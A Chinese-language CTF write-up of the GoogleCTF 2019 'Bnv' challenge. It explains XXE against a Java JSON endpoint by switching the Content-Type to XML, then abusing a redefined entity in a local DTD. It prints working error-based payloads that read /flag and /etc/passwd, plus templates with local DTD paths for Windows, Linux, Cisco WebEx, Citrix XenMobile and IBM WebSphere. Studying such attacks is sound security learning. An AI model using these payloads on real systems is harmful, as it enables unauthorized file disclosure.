0x00
前言
这一段正好在学Java
和XXE
。今天刚好做到了[GoogleCTF2019 Quals]Bnv
。看了WriteUp
之后感觉自己又学到了好多。在这里记录一下吧。
0x01
例题
首先进入题目的界面,发现这一题使用的是json
传输。然后大佬就联想到了json
转化为xxe
进行文件读取?这是什么逻辑?找了资料之后才看懂一点。先看一下数据包的结构吧。
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /api/search HTTP/1.1 Host: af6756fc-f568-4cb8-a6cb-be843e5a7c01.node3.buuoj.cn Content-Length: 38 Origin: http://af6756fc-f568-4cb8-a6cb-be843e5a7c01.node3.buuoj.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0 Content-type: application/json Accept: */* Referer: http://af6756fc-f568-4cb8-a6cb-be843e5a7c01.node3.buuoj.cn/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Connection: close
{"message":"135601360123502401401250"}
|
因为Content-Type
头是application/json
。所以服务器所收到的是json
数据。而如果我们修改为application/xml
那么服务器默认会以为收到的是xml
格式的数据,而如果我们发送的不是这个格式,那么肯定会报错的啊。会爆出下面的错误:
如果出现类似的错误,即大概意思是xml文件的格式不对的,它的服务器变相的卖出它自己可以解析xml
文件。所以我们可以尝试xxe
。顺便一提,这里好像是只有使用java
作为后端才会可能出现这样的情况。选择POST
下面的数据看看有没有回显:
1 2 3 4 5 6 7 8
| REQUEST: <?xml version="1.0" encoding="UTF-8" ?> <root> <message>name</message> </root>
RESPONSE: Validation failed: no DTD found !, line 2, column 6
|
发现没有.dtd
文件。所以这里我们需要一个可以利用的.dtd
文件,而xxe
中有一个点我之前没有学,这里刚好补上(泪目,看来什么都要学啊)。就是本地去找.dtd
文件然后使用本地.dtd
文件上传造成xxe
。那么直接贴上这道题目的payload
:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '>
%local_dtd; ]>
|
获得flag
。
但是做习题的时候flag
根本就不是我们的目的。我们来具体的分析一下(指留下白嫖的POC
)。
0x02
POC
其实这种xxe
类似于报错注入,毕竟都是通过报错把,数据给带出来的。如果服务器和你的主机之间没有防火墙的话,你当然可以通过Blind XXE
的基础用法来读取文件。但是如果有,那么我们就只剩下报错利用了。上面的POC
只是基于linux
下的POC
,那么其他平台下我们该怎么办呢?
模板(自己的模板,不一定对,如果不行记得去多试几遍大佬的):
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '>
%local_dtd; ]>
|
Windows:
1 2 3
| <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'> %local_dtd;
|
linux:
1 2 3
| <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd;
|
Cisco WebEx:
1 2 3
| <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> %local_dtd;
|
Citrix XenMobile Server:
1 2 3
| <!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> %local_dtd;
|
多平台 IBM WebSphere 应用:
1 2 3 4 5 6 7 8 9 10 11
| <!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"> <!ENTITY % xs-datatypes 'Your DTD code'> <!ENTITY % simpleType "a"> <!ENTITY % restriction "b"> <!ENTITY % boolean "(c)"> <!ENTITY % URIref "CDATA"> <!ENTITY % XPathExpr "CDATA"> <!ENTITY % QName "NMTOKEN"> <!ENTITY % NCName "NMTOKEN"> <!ENTITY % nonNegativeInteger "NMTOKEN"> %local_dtd;
|
最后简单的介绍一下原理吧。
0x03
原理
看着下面的XXE
攻击方法,如果不包含外部实体的话是不是无法理解:
1 2 3 4 5 6 7 8 9 10
| <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'test%file;'>"> %eval; %error; '> %local_dtd; ]>
|
错误原因是:外部DTD
允许我们在第二个实体中包含一个实体,但它在内部DTD
中被禁止。但是如果使用本地的DTD
文件为什么就可以了呢?
本地的DTD
文件起作用是因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。这么说可能还有人不太懂(就是当初的我),举个大佬的例子吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
<!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'>
%local_dtd; ]> <message>any text</message>
|
sip-app_1_0.dtd
文件中的内容为:
1 2 3 4
| … <!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)> …
|
所以我们定义了两个具有相同名称的实体condition
。而只使用第一个实体使我们可以完成XXE
。
0x04
参考
使用本地DTD文件来利用XXE漏洞实现任意结果输出
https://www.freebuf.com/articles/web/195899.html
通过Google CTF的BNV学习一下XXE
http://yugod.xmutsec.com/index.php/2019/07/14/50.html
神奇的Content-Type——在JSON中玩转XXE攻击
https://www.cnblogs.com/blacksunny/p/7891495.html